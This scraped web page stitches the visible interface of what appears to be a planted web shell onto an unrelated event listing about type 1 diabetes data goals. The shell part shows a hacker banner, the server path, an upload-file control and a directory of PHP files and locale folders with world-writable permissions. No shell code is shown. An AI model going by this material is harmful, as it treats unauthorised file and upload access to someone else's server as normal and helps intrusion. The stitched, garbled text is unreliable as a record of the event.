I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Address.php3572 KBJanuary 02 2024 14:16:080666
Barcode.php2242 KBJanuary 02 2024 14:16:080666
Base.php22732 KBJanuary 02 2024 14:16:080666
Biased.php1836 KBJanuary 02 2024 14:16:080666
Color.php4749 KBJanuary 02 2024 14:16:080666
Company.php901 KBJanuary 02 2024 14:16:080666
DateTime.php12385 KBJanuary 02 2024 14:16:080666
File.php25707 KBJanuary 02 2024 14:16:080666
HtmlLorem.php10223 KBJanuary 02 2024 14:16:080666
Image.php6140 KBJanuary 02 2024 14:16:080666
Internet.php17580 KBJanuary 02 2024 14:16:080666
Lorem.php7884 KBJanuary 02 2024 14:16:080666
Medical.php648 KBJanuary 02 2024 14:16:080666
Miscellaneous.php13526 KBJanuary 02 2024 14:16:080666
Payment.php10667 KBJanuary 02 2024 14:16:080666
Person.php3311 KBJanuary 02 2024 14:16:080666
PhoneNumber.php6602 KBJanuary 02 2024 14:16:080666
Text.php6808 KBJanuary 02 2024 14:16:080666
UserAgent.php8662 KBJanuary 02 2024 14:16:080666
Uuid.php1819 KBJanuary 02 2024 14:16:080666
ar_EG-January 02 2024 14:16:080777
ar_JO-January 02 2024 14:16:080777
ar_SA-January 02 2024 14:16:080777
at_AT-January 02 2024 14:16:080777
bg_BG-January 02 2024 14:16:080777
bn_BD-January 02 2024 14:16:080777
cs_CZ-January 02 2024 14:16:080777
da_DK-January 02 2024 14:16:080777
de_AT-January 02 2024 14:16:080777
de_CH-January 02 2024 14:16:080777
de_DE-January 02 2024 14:16:080777
el_CY-January 02 2024 14:16:080777
el_GR-January 02 2024 14:16:080777
en_AU-January 02 2024 14:16:080777
en_CA-January 02 2024 14:16:080777
en_GB-January 02 2024 14:16:080777
en_HK-January 02 2024 14:16:080777
en_IN-January 02 2024 14:16:080777
en_NG-January 02 2024 14:16:080777
en_NZ-January 02 2024 14:16:080777
en_PH-January 02 2024 14:16:080777
en_SG-January 02 2024 14:16:080777
en_UG-January 02 2024 14:16:080777
en_US-January 02 2024 14:16:080777
en_ZA-January 02 2024 14:16:080777
es_AR-January 02 2024 14:16:080777
es_ES-January 02 2024 14:16:080777
es_PE-January 02 2024 14:16:080777
es_VE-January 02 2024 14:16:080777
et_EE-January 02 2024 14:16:080777
fa_IR-January 02 2024 14:16:080777
fi_FI-January 02 2024 14:16:080777
fr_BE-January 02 2024 14:16:080777
fr_CA-January 02 2024 14:16:080777
fr_CH-January 02 2024 14:16:080777
fr_FR-January 02 2024 14:16:080777
he_IL-January 02 2024 14:16:080777
hr_HR-January 02 2024 14:16:080777
hu_HU-January 02 2024 14:16:080777
hy_AM-January 02 2024 14:16:080777
id_ID-January 02 2024 14:16:080777
is_IS-January 02 2024 14:16:080777
it_CH-January 02 2024 14:16:080777
it_IT-January 02 2024 14:16:080777
ja_JP-January 02 2024 14:16:080777
ka_GE-January 02 2024 14:16:080777
kk_KZ-January 02 2024 14:16:080777
ko_KR-January 02 2024 14:16:080777
lt_LT-January 02 2024 14:16:080777
lv_LV-January 02 2024 14:16:080777
me_ME-January 02 2024 14:16:080777
mn_MN-January 02 2024 14:16:080777
ms_MY-January 02 2024 14:16:080777
nb_NO-January 02 2024 14:16:080777
ne_NP-January 02 2024 14:16:080777
nl_BE-January 02 2024 14:16:080777
nl_NL-January 02 2024 14:16:080777
pl_PL-January 02 2024 14:16:080777
pt_BR-January 02 2024 14:16:080777
pt_PT-January 02 2024 14:16:080777
ro_MD-January 02 2024 14:16:080777
ro_RO-January 02 2024 14:16:080777
ru_RU-January 02 2024 14:16:080777
sk_SK-January 02 2024 14:16:080777
sl_SI-January 02 2024 14:16:080777
sr_Cyrl_RS-January 02 2024 14:16:080777
sr_Latn_RS-January 02 2024 14:16:080777
sr_RS-January 02 2024 14:16:080777
sv_SE-January 02 2024 14:16:080777
th_TH-January 02 2024 14:16:080777
tr_TR-January 02 2024 14:16:080777
uk_UA-January 02 2024 14:16:080777
vi_VN-January 02 2024 14:16:080777
zh_CN-January 02 2024 14:16:080777
zh_TW-January 02 2024 14:16:080777
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: